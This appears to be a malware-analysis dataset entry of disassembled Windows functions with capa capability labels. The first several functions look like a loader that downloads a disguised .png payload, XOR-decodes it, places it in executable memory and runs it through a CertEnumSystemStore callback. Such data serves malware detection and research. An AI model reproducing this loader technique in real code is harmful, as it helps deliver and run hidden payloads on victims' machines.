joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001730
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rdi
mov eax, 0x1150
call fcn.140014fa0
sub rsp, rax
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x1160], rbx
mov qword [rsp + 0x1168], rsi
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x1170], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DownloadAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400017c2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400017c9
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x1400018fb
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140002850
nop
mov rcx, rbx
cmp qword [rsp + 0xe0], 0
jne 0x140001825
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0xe8]
call fcn.140002910
lea r11, vtable.std::ios_base.0
mov qword [rsp + 0xe8], r11
lea rcx, [rsp + 0xe8]
call fcn.14000566c
xor al, al
jmp 0x1400018fb
lea r9, [rsp + 0x1170]
mov r8d, 0x1000
lea rdx, [rsp + 0x150]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001888
mov eax, dword [rsp + 0x1170]
test eax, eax
je 0x140001888
mov r8d, eax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.1400023a0
lea r9, [rsp + 0x1170]
mov r8d, 0x1000
lea rdx, [rsp + 0x150]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001845
lea rcx, [rsp + 0x48]
call fcn.140003c10
test rax, rax
jne 0x1400018bd
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x40]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x1400018b5
or edx, 4
xor r8d, r8d
call fcn.140001470
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0xe8]
call fcn.140002910
lea r11, vtable.std::ios_base.0
mov qword [rsp + 0xe8], r11
lea rcx, [rsp + 0xe8]
call fcn.14000566c
mov al, 1
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push r12
sub rsp, 0x70
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov edi, edx
mov rsi, rcx
mov qword [rax - 0x18], 0xf
xor ebp, ebp
mov qword [rax - 0x20], rbp
mov byte [rax - 0x30], bpl
xor r8d, r8d
lea edx, [rbp + 0x10]
lea rcx, [rax - 0x30]
call fcn.140004860
lea r11, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r11, qword [rsp + 0x48]
mov rax, qword [rdi + rsi - 0x10]
mov qword [r11], rax
mov rax, qword [rdi + rsi - 8]
mov qword [r11 + 8], rax
mov qword [rsp + 0x58], 0x10
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rax, qword [rsp + 0x48]
mov byte [rax + 0x10], bpl
lea eax, [rdi - 0x10]
mov r12d, eax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rbp
mov edx, eax
lea rcx, [rsp + 0x28]
call fcn.1400040c0
mov r8d, r12d
mov rdx, rsi
mov rdi, qword [rsp + 0x28]
mov rcx, rdi
call fcn.1400064f0
test r12, r12
je 0x140001cdb
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
xor edx, edx
mov rax, rbp
div qword [rsp + 0x58]
movzx eax, byte [rdx + rcx]
xor byte [rdi + rbp], al
inc rbp
cmp rbp, r12
jb 0x140001cb1
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, r12
mov rdx, rdi
mov rcx, rax
call fcn.1400064f0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
test rdi, rdi
je 0x140001d24
mov rcx, rdi
call fcn.1400079b8
nop
cmp qword [rsp + 0x60], 0x10
jb 0x140001d36
mov rcx, qword [rsp + 0x48]
call fcn.1400079b8
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x140001d60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xa8]
sub rsp, 0x1a0
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rbp - 0x78], 7
xor edi, edi
mov qword [rbp - 0x80], rdi
mov word [rsp + 0x70], di
lea r8d, [rdi + 0x18]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x70]
call fcn.140004550
nop
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x60], di
lea r8d, [rdi + 2]
lea rdx, [0x14001cd54]
lea rcx, [rbp - 0x60]
call fcn.140004550
nop
mov qword [rbp - 0x20], 7
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x38], di
lea r8d, [rdi + 4]
lea rdx, [0x14001cd60]
lea rcx, [rbp - 0x38]
call fcn.140004550
nop
mov qword [rbp + 8], 7
mov qword [rbp], rdi
mov word [rbp - 0x10], di
lea r8d, [rdi + 2]
lea rdx, [0x14001cd6c]
lea rcx, [rbp - 0x10]
call fcn.140004550
nop
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], rdi
mov word [rbp + 0x18], di
lea r8d, [rdi + 4]
lea rdx, [0x14001cd78]
lea rcx, [rbp + 0x18]
call fcn.140004550
nop
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x50], rdi
mov word [rbp + 0x40], di
lea r8d, [rdi + 2]
lea rdx, [0x14001cd84]
lea rcx, [rbp + 0x40]
call fcn.140004550
nop
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r8d, [rdi + 4]
lea rdx, str..lnk
lea rcx, [rsp + 0x20]
call fcn.140004550
nop
mov ebx, edi
nop
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea r8, [rbp + rcx*8 - 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140004ea0
nop
lea r8, [rsp + 0x20]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140004f60
nop
cmp qword [rbp + 0x88], 8
jb 0x140001ed1
mov rcx, qword [rbp + 0x70]
call fcn.1400079b8
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001f5a
cmp qword [rsp + 0x60], 8
jb 0x140001eff
mov rcx, qword [rsp + 0x48]
call fcn.1400079b8
inc ebx
cmp ebx, 5
jb 0x140001e90
cmp qword [rsp + 0x38], 8
jb 0x140001f18
mov rcx, qword [rsp + 0x20]
call fcn.1400079b8
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140002820]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140007080
nop
cmp qword [rbp - 0x78], 8
jb 0x140001f56
mov rcx, qword [rsp + 0x70]
call fcn.1400079b8
xor al, al
jmp 0x140001fd1
cmp qword [rsp + 0x60], 8
jb 0x140001f6c
mov rcx, qword [rsp + 0x48]
call fcn.1400079b8
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x58], rdi
mov word [rsp + 0x48], di
cmp qword [rsp + 0x38], 8
jb 0x140001f91
mov rcx, qword [rsp + 0x20]
call fcn.1400079b8
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140002820]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140007080
nop
cmp qword [rbp - 0x78], 8
jb 0x140001fcf
mov rcx, qword [rsp + 0x70]
call fcn.1400079b8
mov al, 1
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140002180
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub rsp, 0x258
call fcn.140001ff0
test al, al
je 0x1400022fa
mov qword [rsp + 0x260], rbx
call fcn.140001940
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
lea rcx, [0x140019380]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x140]
mov r8d, 0x104
call fcn.1400082ac
lea r8, [rsp + 0x140]
lea rdx, str._s2024.png
lea rcx, [rsp + 0x30]
call fcn.140004fb0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140001730
test al, al
je 0x1400022e8
mov ecx, 0x1f4
mov qword [rsp + 0x268], rbp
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001cc60]
lea rcx, [rsp + 0x30]
call fcn.140007464
mov rbp, rax
test rax, rax
je 0x1400022e6
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x270], rsi
lea r8d, [rdx + 2]
mov qword [rsp + 0x250], rdi
call fcn.140008368
mov rcx, rbp
call fcn.140007e1c
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov esi, eax
call fcn.140008368
mov ecx, esi
call fcn.140005e90
mov r9, rbp
mov r8d, esi
mov rcx, rax
mov edx, 1
mov rdi, rax
call fcn.140007868
mov rcx, rbp
call fcn.1400084bc
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, esi
mov rcx, rdi
call fcn.140001bf0
mov rcx, rdi
call fcn.140007580
mov rdi, qword [rsp + 0x250]
mov rsi, qword [rsp + 0x270]
xor eax, eax
mov rbp, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x260]
add rsp, 0x258
ret
jmp 0x1400022ce
xor eax, eax
mov rbx, qword [rsp + 0x260]
add rsp, 0x258
ret
xor eax, eax
add rsp, 0x258
ret
Function at 0x140003da0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140003fd9
cmp byte [rcx + 0x89], 0
je 0x140003fd9
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140003fad
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x140003e78
dec eax
jne 0x140003f77
jmp 0x140003e7f
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x140003ecd
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.140007bd4
cmp rbx, rax
jne 0x140003f9d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x140003fcb
test rbx, rbx
jne 0x140003e30
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x140003fbe
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140003fb1
cmp r9, rbx
jae 0x140003f21
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140004860
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x140003f3e
test rbx, rbx
jne 0x140003f47
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x140003e1b
test rbx, rbx
je 0x140003e30
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x140003e1b
sub eax, 2
je 0x140003f90
cmp qword [rbp - 0x10], 0x10
jb 0x140003fad
mov rcx, qword [rbp - 0x28]
call fcn.1400079b8
xor al, al
jmp 0x140003fdb
cmp qword [rbp - 0x10], 0x10
jb 0x140003fd9
mov rcx, qword [rbp - 0x28]
jmp 0x140003fd4
cmp qword [rbp - 0x10], 0x10
jb 0x140003fad
mov rcx, qword [rbp - 0x28]
call fcn.1400079b8
xor al, al
jmp 0x140003fdb
lea rcx, str.string_too_long
call fcn.140005b64
int3
lea rcx, str.string_too_long
call fcn.140005b64
nop
cmp r9, 0x10
jb 0x140003fd9
mov rcx, r10
call fcn.1400079b8
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x14000cc0c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000ca7c
Function at 0x14001561c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140022520]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140011454
xor ebx, ebx
cmp qword [0x141699280], rbx
mov rdi, rax
jne 0x14001572f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140015806
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140015806
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x141699280], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x141699288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x141699290], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1416992a0], rax
test rax, rax
je 0x140015726
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x141699298], rax
jmp 0x140015736
mov rax, qword [0x141699298]
jmp 0x14001573d
mov rax, qword [0x141699298]
mov r11, qword [0x1416992a0]
cmp rax, rdi
je 0x1400157a4
cmp r11, rdi
je 0x1400157a4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1416992a0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400157a4
test rax, rax
je 0x1400157a4
call rsi
test rax, rax
je 0x14001579e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001579e
test byte [rsp + 0x40], 1
jne 0x1400157a4
bts ebp, 0x15
jmp 0x1400157e4
mov rcx, qword [0x141699288]
cmp rcx, rdi
je 0x1400157e4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400157e4
call rax
mov rbx, rax
test rax, rax
je 0x1400157e4
mov rcx, qword [0x141699290]
cmp rcx, rdi
je 0x1400157e4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400157e4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x141699280]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140015806
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140015808
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140011840
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140017293
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140022520]
jne 0x14001185a
rol rcx, 0x10
test cx, 0xffff
jne 0x140011856
repz ret
ror rcx, 0x10
jmp 0x1400171ec
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x141699360]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x141699458]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140017271
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x141699360]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140017293
mov rax, qword [rsp + 0x88]
mov qword [0x141699458], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1416993f8], rax
mov rax, qword [0x141699458]
mov qword [0x1416992d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1416993e0], rax
mov dword [0x1416992c0], 0xc0000409
mov dword [0x1416992c4], 1
mov rax, qword [0x140022520]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140022528]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x141699358], eax
mov ecx, 1
call fcn.1400155d4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001c2b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x141699358], 0
jne 0x14001731a
mov ecx, 1
call fcn.1400155d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x410c60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x410deb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x410cc5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x410cd4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x410cf3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x410d03
cmp rbx, 0x1000
jae 0x410ccb
jmp 0x410d6d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x410d15
xor edx, edx
jmp 0x410d64
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x410cf9
jmp 0x410ce8
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x0047e53d]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x0047e73b]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0047fb6b]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x410e20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x411046
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x410e93
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x410ea2
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x410ec5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x410ed5
cmp rbx, 0x1000
jae 0x410e99
nop
jmp 0x410f58
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x410eed
xor esi, esi
jmp 0x410f4a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x410ecb
jmp 0x410eb6
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00536eb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x410fe0
nop dword [rax + rax]
call sym.runtime.printlock
lea rax, [0x0047e754]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call sym.runtime.printuint
lea rax, [0x0047e73b]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
nop
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0047cddf]
mov ebx, 0xd
call sym.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x410f80
call sym.runtime.printlock
lea rax, [0x0047e754]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x0047e73b]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0047f631]
mov ebx, 0x1f
nop dword [rax + rax]
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp sym.runtime.sysUsedOS